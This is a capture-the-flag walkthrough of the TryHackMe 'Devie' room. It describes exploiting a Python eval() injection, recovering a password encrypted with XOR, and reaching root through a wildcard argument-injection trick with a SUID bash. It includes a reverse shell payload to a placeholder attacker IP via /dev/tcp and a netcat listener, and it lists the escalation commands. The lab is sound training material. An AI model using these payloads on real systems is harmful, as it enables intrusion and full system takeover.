We covered a scenario that demonstrates python exploitation through Eval function. Additionally we covered an example of XOR encryption and decryption. This was part of TryHackMe Devie
Initial Reconnaissance and Vulnerability Discovery
I started by noting that an Nmap scan (skipped in the video for brevity) revealed two open ports: 22 (SSH) and 5000 (web server). The web server on port 5000 presented a page with math formulas. A crucial hint was that the source code for the web application could be downloaded directly from the page, simulating a white-box penetration test. I analyzed the source code and found the vulnerability in the app.py
file. Specifically, the bisection method
section used the Python eval()
function without proper sanitization of user input, a known vulnerability that can lead to command injection.
Exploiting the eval()
Vulnerability
The eval()
function executes user input directly, similar to vulnerabilities in PHP. To exploit this, I injected a payload into the XA
or XP
input fields of the bisection method form. I used Burp Suite to intercept the request and modify the input. I chose a Python reverse shell payload using the os
module, conceptually similar to __import__('os').system('bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1')
. I URL encoded the payload within Burp Suite, inserted my attacker’s IP address and a chosen port (e.g., 4545), and then set up a Netcat listener on my machine with nc -lvp 4545
. Sending the modified request in Burp Suite successfully established a reverse shell.
Shell Stabilization and Initial User (Bruce)
The initial shell was unstable, so I used the following commands to stabilize it: python -c 'import pty; pty.spawn("/bin/bash")'
, then export TERM=xterm
, followed by Ctrl+Z
, stty raw -echo
, and fg
.
I found that the user was bruce
. Listing files in Bruce’s home directory with ls
and ls -la
revealed the first flag and a note.txt
file. Viewing the note with cat note.txt
revealed that a user named Gordon had encoded their password using XOR and then Base64, and that a script for this was located in the /opt
directory.
Privilege Escalation to Gordon
My goal was to decrypt Gordon’s password. The note mentioned a “super secret string” which was Gordon’s encrypted password. I navigated to the script directory with cd /opt
and listed files with ls -la
. The script encrypt.py
was owned by root, but Gordon could read it, and Bruce could execute this script as Gordon without a password. I confirmed Bruce’s sudo permissions with sudo -l
.
I executed the encryption script as Gordon using sudo -u gordon /opt/encrypt.py
. The script prompted for a password to encrypt. My strategy was to encrypt a known plaintext (“this is a very long password”), get the ciphertext, and then use CyberChef to Base64 decode the ciphertext and XOR the result with the known plaintext to find the XOR key. I repeated this with another sample password to confirm the same XOR key was derived.
With the derived XOR key, I put Gordon’s actual encrypted password (from note.txt
) into CyberChef. The recipe was: From Base64, then XOR with the derived key. The output was Gordon’s plaintext password. I then switched user to Gordon using su gordon
and entered the decrypted password. Navigating to Gordon’s home directory with cd /home/gordon
, I found the second flag.
Privilege Escalation to Root
In Gordon’s home directory, I found backups
and reports
directories. Listing their contents with ls -la backups
and ls -la reports
showed that files in backups
were owned by root, while those in reports
(initially) might be owned by Gordon. The timestamps suggested files were copied from reports
to backups
. I hypothesized a cron job was copying files and changing ownership to root.
I found files owned by the group Gordon using find / -type f -group gordon 2>/dev/null
, which revealed /usr/bin/backup
. Viewing the backup script with cat /usr/bin/backup
showed that the script cd
ed into reports
and then used cp * ../backups/
. The wildcard *
was key to the exploit.
The exploit relied on the fact that if a filename starts with -
, cp
might interpret it as an option. Specifically, creating a file named --preserve=mode
would make cp
preserve permissions. My steps for the exploit were:
- Navigate to the
reports
directory:cd reports
(or/home/gordon/reports
) - Copy the bash binary to the current directory (
reports
):cp /usr/bin/bash .
- Set the SUID bit on the copied bash binary:
chmod +s bash
- Create an empty file named
--preserve=mode
:touch -- "--preserve=mode"
I waited for the cron job to run. When it did, it copied bash
(with SUID) and the --preserve=mode
file to the backups
directory. The cp
command interpreted --preserve=mode
as an option, thus keeping the SUID bit on the bash
binary in the backups
directory, and its ownership was changed to root.
I navigated to the backups
directory with cd ../backups
(or /home/gordon/backups
) and listed files with ls -la
to confirm that the bash
binary was owned by root and had the SUID bit set. I then executed the SUID bash binary with the -p
flag (to maintain effective UID) using ./bash -p
. I verified root access with id
and whoami
, and finally obtained the root flag with cat /root/root.txt
.
Technical Commands Used
Here are the technical commands I used:
nc -lvp 4545
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
fg
ls
ls -la
cat note.txt
cd /opt
sudo -l
sudo -u gordon /opt/encrypt.py
su gordon
cd /home/gordon
ls -la backups
ls -la reports
find / -type f -group gordon 2>/dev/null
cat /usr/bin/backup
cd reports
cp /usr/bin/bash .
chmod +s bash
touch -- "--preserve=mode"
cd ../backups
./bash -p
id
whoami
cat /root/root.txt
TryHackMe Devie Room Answers
What is the second flag?
What is the root flag?